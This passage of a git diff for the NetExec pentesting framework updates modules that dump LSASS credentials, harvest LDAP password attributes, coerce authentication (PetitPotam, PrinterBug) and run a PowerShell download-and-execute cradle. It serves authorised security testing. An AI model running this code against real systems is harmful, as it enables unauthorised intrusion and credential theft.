+                context.log.fail("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+                return
+        for entry in entries:
+            tmpUUID = str(entry["tower"]["Floors"][0])
+
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+                context.log.debug("EXEs %s" % exename)
+                if exename == "certsrv.exe":
+                    context.log.highlight("Active Directory Certificate Services Found.")
+                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
+                    context.log.highlight(url)
+                    try:
+                        response = requests.get(url, timeout=5)
+                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
+                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
+                    except requests.RequestException as e:
+                        context.log.debug(e)
+                    return
+
+    def __fetchList(self, doKerberos, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        resp = epm.hept_lookup(None, dce=dce)
+        dce.disconnect()
+        return resp

nxc/modules/enum_trusts.py

@@ -17,12 +17,11 @@ class NXCModule:
         pass
 
     def on_login(self, context, connection):
-        domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
         search_filter = "(&(objectClass=trustedDomain))"
         attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
 
         context.log.debug(f"Search Filter={search_filter}")
-        resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+        resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
 
         trusts = []
         context.log.debug(f"Total of records returned {len(resp)}")

nxc/modules/example_module.py

@@ -12,9 +12,9 @@ class NXCModule:
     opsec_safe = True  # Does the module touch disk?
     multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
+        self.context = None
+        self.module_options = None
 
     def options(self, context, module_options):
         """Required.

nxc/modules/get-desc-users.py

@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -102,6 +102,11 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                if conditionFilter and not self.PASSWORDPOLICY:
+                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
+                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
                     answersFiltered.append([answer[0], description])
+                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
+                    
         return answersFiltered

nxc/modules/get-unixUserPassword.py

@@ -0,0 +1,63 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+
+
+class NXCModule:
+    """
+    Get unixUserPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-unixUserPassword"
+    description = "Get unixUserPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(objectclass=user)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldapConnection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "unixUserPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            sAMAccountName = ""
+            unixUserPassword = []
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "sAMAccountName":
+                        sAMAccountName = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "unixUserPassword":
+                        unixUserPassword = [str(i) for i in attribute["vals"]]
+                if sAMAccountName != "" and len(unixUserPassword) > 0:
+                    answers.append([sAMAccountName, unixUserPassword])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        if len(answers) > 0:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -0,0 +1,63 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+
+
+class NXCModule:
+    """
+    Get userPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-userPassword"
+    description = "Get userPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(objectclass=user)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldapConnection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "userPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            sAMAccountName = ""
+            userPassword = []
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "sAMAccountName":
+                        sAMAccountName = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "userPassword":
+                        userPassword = [str(i) for i in attribute["vals"]]
+                if sAMAccountName != "" and len(userPassword) > 0:
+                    answers.append([sAMAccountName, userPassword])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        if len(answers) > 0:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
+        else:
+            context.log.fail("No userPassword Found")

nxc/modules/hash_spider.py

@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    if connection.args.local_auth:
-        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
-    else:
-        context.log.extra["host"] = connection.domain
-    context.log.extra["hostname"] = connection.host.upper()
+    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -146,7 +142,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_computers(connection.host)[0][0]
+        host_id = context.db.get_hosts(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -202,7 +198,7 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(file).parse()
+        credentials, tickets, masterkeys = Parser(host, file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:

nxc/modules/iis.py

@@ -37,7 +37,7 @@ class NXCModule:
             return
 
     def execute_appcmd(self, context, connection):
-        command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
+        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
         context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)
 

nxc/modules/ioxidresolver.py

@@ -23,6 +23,7 @@ class NXCModule:
 
         stringBinding = r"ncacn_ip_tcp:%s" % connection.host
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(connection.host)
 
         portmap = rpctransport.get_dce_rpc()
         portmap.set_auth_level(authLevel)

nxc/modules/ldap-checker.py

@@ -39,10 +39,15 @@ class NXCModule:
         async def run_ldaps_noEPA(target, credential):
             ldapsClientConn = MSLDAPClientConnection(target, credential)
             _, err = await ldapsClientConn.connect()
+            
+            # Required step to try to bind without channel binding
+            ldapsClientConn.cb_data = None
+
             if err is not None:
                 context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
                 sys.exit()
-            _, err = await ldapsClientConn.bind()
+
+            valid, err = await ldapsClientConn.bind()
             if "data 80090346" in str(err):
                 return True  # channel binding IS enforced
             elif "data 52e" in str(err):
@@ -87,11 +92,12 @@ class NXCModule:
         def DoesLdapsCompleteHandshake(dcIp):
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(5)
-            ssl_sock = ssl.wrap_socket(
+            ssl_context = ssl.create_default_context()
+            ssl_context.check_hostname = False
+            ssl_sock = ssl_context.wrap_socket(
                 s,
-                cert_reqs=ssl.CERT_OPTIONAL,
-                suppress_ragged_eofs=False,
                 do_handshake_on_connect=False,
+                suppress_ragged_eofs=False,
             )
             ssl_sock.connect((dcIp, 636))
             try:
@@ -114,19 +120,30 @@ class NXCModule:
         # requirements are enforced based on potential errors
         # during the bind attempt.
         async def run_ldap(target, credential):
-            ldapsClientConn = MSLDAPClientConnection(target, credential)
-            _, err = await ldapsClientConn.connect()
-            if err is None:
-                _, err = await ldapsClientConn.bind()
-                if "stronger" in str(err):
-                    return True  # because LDAP server signing requirements ARE enforced
-                elif ("data 52e") in str(err):
-                    context.log.fail("Not connected... exiting")
-                    sys.exit()
-                elif err is None:
+            try:
+                ldapsClientConn = MSLDAPClientConnection(target, credential)
+                ldapsClientConn._disable_signing = True
+                _, err = await ldapsClientConn.connect()
+                if err is not None:
+                    context.log.fail(str(err))
                     return False
-            else:
-                context.log.fail(str(err))
+                
+                _, err = await ldapsClientConn.bind()
+                if err is not None:
+                    errstr = str(err).lower()
+                    if "stronger" in errstr:
+                        return True 
+                        # because LDAP server signing requirements ARE enforced
+                    else:
+                        context.log.fail(str(err))
+                else:
+                    # LDAPS bind successful
+                    return False 
+                    # because LDAP server signing requirements are not enforced
+            except Exception as e:
+                context.log.debug(str(e))
+                return False
+              
 
         # Run trough all our code blocks to determine LDAP signing and channel binding settings.
         stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
@@ -139,7 +156,16 @@ class NXCModule:
                 stype=stype,
             )
         else:
-            kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
+            kerberos_target = UniTarget(
+                connection.host,
+                88,
+                UniProto.CLIENT_TCP,
+                hostname=connection.remoteName,
+                dc_ip=connection.kdcHost,
+                domain=connection.domain,
+                proxies=None,
+                dns=None,
+            )
             credential = KerberosCredential(
                 target=kerberos_target,
                 secret=secret,
@@ -148,9 +174,8 @@ class NXCModule:
                 stype=stype,
             )
 
-        target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+        target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
         ldapIsProtected = asyncio.run(run_ldap(target, credential))
-
         if ldapIsProtected is False:
             context.log.highlight("LDAP Signing NOT Enforced!")
         elif ldapIsProtected is True:
@@ -160,9 +185,9 @@ class NXCModule:
             sys.exit()
 
         if DoesLdapsCompleteHandshake(connection.host) is True:
-            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
             ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
-            target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
             ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
             if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
                 context.log.highlight('LDAPS Channel Binding is set to "When Supported"')

nxc/modules/lsassy.py

@@ -64,7 +64,7 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(file).parse()
+        parsed = Parser(host, file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False

nxc/modules/maq.py

@@ -14,7 +14,7 @@ class NXCModule:
     def options(self, context, module_options):
         pass
 
-    name = "MAQ"
+    name = "maq"
     description = "Retrieves the MachineAccountQuota domain-level attribute"
     supported_protocols = ["ldap"]
     opsec_safe = True

nxc/modules/masky.py

@@ -37,7 +37,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if not self.ca:
-            context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
+            context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
             return False
 
         host = connection.host

nxc/modules/met_inject.py

@@ -56,7 +56,7 @@ class NXCModule:
         # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
         command = """$url="{}://{}:{}/{}"
         $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
-        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
+        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
         if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
         $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
         $ProcessInfo.FileName=$PowershellExe

nxc/modules/ms17-010.py

@@ -62,10 +62,15 @@ class NXCModule:
         self.logger = context.log
 
     def on_login(self, context, connection):
-        if self.check(connection.host):
-            context.log.highlight("VULNERABLE")
-            context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
-
+        try:
+            if self.check(connection.host):
+                context.log.highlight("VULNERABLE")
+                context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
+        except ConnectionResetError as e:
+            context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}")
+        except ValueError as e:
+            if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
+                context.log.debug("Buffer size too small, which means the response was not the expected size")
 
 
     def generate_smb_proto_payload(self, *protos):
@@ -243,7 +248,7 @@ class NXCModule:
         ]
 
         # Create the IPC string
-        ipc = f"\\\\{ip}\IPC$\x00"
+        ipc = f"\\\\{ip}\\IPC$\x00"
         self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
 
         # Initialize the tree connect andx request
@@ -476,7 +481,7 @@ class NXCModule:
         # 0xC0000022 - STATUS_ACCESS_DENIED
 
         if nt_status == b"\x05\x02\x00\xc0":
-            self.logger.highlight(f"[+] [{ip}] is likely VULNERABLE to MS17-010! ({native_os.decode()})")
+            self.logger.highlight(f"[+] {ip} is likely VULNERABLE to MS17-010! ({native_os.decode()})")
 
             # vulnerable to MS17-010, check for DoublePulsar infection
             raw_proto = self.trans2_request(tree_id, process_id, user_id, multiplex_id)
@@ -491,8 +496,8 @@ class NXCModule:
                 key = self.calculate_doublepulsar_xor_key(smb.signature)
                 self.logger.highlight(f"Host is likely INFECTED with DoublePulsar! - XOR Key: {key.decode()}")
         elif nt_status in (b"\x08\x00\x00\xc0", b"\x22\x00\x00\xc0"):
-            self.logger.fail(f"[-] [{ip}] does NOT appear vulnerable")
+            self.logger.fail(f"{ip} does NOT appear vulnerable")
         else:
-            self.logger.fail(f"[-] [{ip}] Unable to detect if this host is vulnerable")
+            self.logger.fail(f"{ip} Unable to detect if this host is vulnerable")
 
         client.close()

nxc/modules/msol.py

@@ -3,7 +3,7 @@
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
 from sys import exit
 from os import path
-import sys
+from nxc.paths import TMP_PATH
 from nxc.helpers.powershell import get_ps_script
 
 
@@ -49,14 +49,14 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.use_embedded:
-            file_to_upload = "/tmp/msol.ps1"
+            file_to_upload = f"{TMP_PATH}/msol.ps1"
 
             try:
                 with open(file_to_upload, "w") as msol:
                     msol.write(self.msol_embedded)
             except FileNotFoundError:
                 context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
-                sys.exit(1)
+                exit(1)
             
         else:
             if path.isfile(self.MSOL_PS1):

nxc/modules/mssql_priv.py

@@ -42,12 +42,12 @@ class NXCModule:
             - rollback (remove sysadmin privilege)
         """
         self.action = None
-        self.context = context
 
         if "ACTION" in module_options:
             self.action = module_options["ACTION"]
 
     def on_login(self, context, connection):
+        self.context = context
         # get mssql connection
         self.mssql_conn = connection.conn
         # fetch the current user
@@ -441,13 +441,11 @@ class NXCModule:
         :rtype: bool
         """
         res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
-        try:
-            if int(res):
-                self.admin_privs = True
-                return True
-            else:
-                return False
-        except Exception:
+        is_admin = res[0][""]
+        if is_admin:
+            self.admin_privs = True
+            return True
+        else:
             return False
 
     def revert_context(self, exec_as):

nxc/modules/nanodump.py

@@ -39,7 +39,6 @@ class NXCModule:
         NANO_EXE_NAME       Name of the nano executable (default: nano.exe)
         DIR_RESULT          Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
         """
-        self.context = context
         self.remote_tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -98,7 +97,7 @@ class NXCModule:
             with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
                 try:
                     self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
-                    exec_method = MSSQLEXEC(self.connection.conn)
+                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
                     exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
                     if exec_method.file_exists(self.remote_tmp_dir + self.nano):
                         self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -118,13 +117,13 @@ class NXCModule:
         self.context.log.display(f"Getting LSASS PID via command {command}")
         p = self.connection.execute(command, display_output)
         self.context.log.debug(f"tasklist Command Result: {p}")
-        if len(p) == 1:
-            p = p[0]
-
         if not p or p == "None":
             self.context.log.fail("Failed to execute command to get LSASS PID")
             return
 
+        if len(p) == 1:
+            p = p[0]
+
         pid = p.split(",")[1][1:-1]
         self.context.log.debug(f"pid: {pid}")
         timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -174,7 +173,7 @@ class NXCModule:
                     self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
             else:
                 try:
-                    exec_method = MSSQLEXEC(self.connection.conn)
+                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
                     exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
                     self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
                 except Exception as e:

nxc/modules/ntlmv1.py

@@ -7,10 +7,11 @@ class NXCModule:
     """
     Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
     Module by @Tw1sm
+    Modified by Deft (08/02/2024)
     """
 
     name = "ntlmv1"
-    description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
+    description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
@@ -32,19 +33,22 @@ class NXCModule:
                     "SYSTEM\\CurrentControlSet\\Control\\Lsa",
                 )
                 key_handle = ans["phkResult"]
-                rtype = None
-                data = None
+                rtype = data = None
                 try:
                     rtype, data = rrp.hBaseRegQueryValue(
                         remote_ops._RemoteOperations__rrp,
                         key_handle,
                         "lmcompatibilitylevel\x00",
                     )
+
                 except rrp.DCERPCSessionError:
                     context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
 
-                if rtype and data and int(data) in [0, 1, 2]:
+                # Changed by Defte
+                # Unless this keys is set to 3 or higher, NTLMv1 can be used
+                if data in [0, 1, 2]:
                     context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
+
         except DCERPCSessionError as e:
             context.log.debug(f"Error connecting to RemoteRegistry: {e}")
         finally:

nxc/modules/obsolete.py

@@ -0,0 +1,84 @@
+#!/usr/bin/env python3
+
+from datetime import datetime, timedelta
+from nxc.paths import NXC_PATH
+import socket
+
+
+class NXCModule:
+    """
+    Extract obsolete operating systems from LDAP
+    Module by Brandon Fisher @shad0wcntr0ller
+    """
+    name = "obsolete"
+    description = "Extract all obsolete operating systems from LDAP"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def ldap_time_to_datetime(self, ldap_time):
+        """Convert an LDAP timestamp to a datetime object."""
+        if ldap_time == "0":  # Account for never-set passwords
+            return "Never"
+        try:
+            epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
+            return epoch.strftime("%Y-%m-%d %H:%M:%S")
+        except Exception:
+            return "Conversion Error"
+
+    def options(self, context, module_options):
+        """No module-specific options required."""
+
+    def on_login(self, context, connection):
+        search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
+                         "(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
+                         "(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
+                         "(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
+                         "(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
+                         "(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
+        attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
+
+        try:
+            context.log.debug(f"Search Filter={search_filter}")
+            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+        except Exception:
+            context.log.error("LDAP search error:", exc_info=True)
+            return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+
+        for item in resp:
+            if "attributes" not in item:
+                continue
+            dns_hostname, pwd_last_set = "", "0"  # Default '0' for pwdLastSet
+            for attribute in item["attributes"]:
+                attr_type = str(attribute["type"])
+                if attr_type == "operatingSystem":
+                    os = str(attribute["vals"][0])
+                elif attr_type == "dNSHostName":
+                    dns_hostname = str(attribute["vals"][0])
+                elif attr_type == "pwdLastSet":
+                    pwd_last_set = str(attribute["vals"][0])
+
+            if dns_hostname and os:
+                pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
+                try:
+                    ip_address = socket.gethostbyname(dns_hostname)
+                    answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
+                except socket.gaierror:
+                    answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
+
+        if answers:
+            obsolete_hosts_count = len(answers)
+            filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
+            context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
+            with open(filename, "w") as f:
+                for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+                    log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
+                    context.log.highlight(log_message)
+                    f.write(log_message + "\n")
+        else:
+            context.log.display("No Obsolete Hosts Identified")
+
+        return True

nxc/modules/petitpotam.py

@@ -44,11 +44,11 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host if not connection.kerberos else connection.remoteName,
             pipe=self.pipe,
             do_kerberos=connection.kerberos,
-            dc_host=connection.kdcHost,
-            target_ip=connection.host,
+            kdcHost=connection.kdcHost,
+            remoteHost=connection.host,
             context=context,
         )
         if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
     target,
     pipe,
     do_kerberos,
-    dc_host,
-    target_ip=None,
+    kdcHost,
+    remoteHost,
     context=None,
 ):
     binding_params = {
@@ -221,6 +221,7 @@ def coerce(
         },
     }
     rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
+    rpc_transport.setRemoteHost(remoteHost)
     if hasattr(rpc_transport, "set_credentials"):
         rpc_transport.set_credentials(
             username=username,
@@ -231,15 +232,12 @@ def coerce(
             aesKey=aesKey,
         )
 
-    if target_ip:
-        rpc_transport.setRemoteHost(target_ip)
-
     dce = rpc_transport.get_dce_rpc()
     dce.set_auth_type(RPC_C_AUTHN_WINNT)
     dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
 
     if do_kerberos:
-        rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
+        rpc_transport.set_kerberos(do_kerberos, kdcHost)
         dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
     context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")

nxc/modules/printerbug.py

@@ -0,0 +1,117 @@
+from impacket.dcerpc.v5 import transport, rprn
+
+
+class NXCModule:
+    name = "printerbug"
+    description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.listener = None
+
+    def options(self, context, module_options):
+        """LISTENER    Listener Address (defaults to 127.0.0.1)"""
+        self.listener = "127.0.0.1"
+        if "LISTENER" in module_options:
+            self.listener = module_options["LISTENER"]
+
+    def on_login(self, context, connection):
+        trigger = TriggerAuth(context)
+        target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+        dce = trigger.connect(
+            username=connection.username,
+            password=connection.password,
+            domain=connection.domain,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            target=target,
+            doKerberos=connection.kerberos,
+            dcHost=connection.kdcHost,
+            aesKey=connection.aesKey,
+        )
+
+        if dce is not None:
+            context.log.debug("Target is vulnerable to PrinterBug")
+            trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
+            context.log.highlight("VULNERABLE")
+            dce.disconnect()
+        else:
+            context.log.debug("Target is not vulnerable to PrinterBug")
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+
+class TriggerAuth:
+    def __init__(self, context):
+        self.context = context
+
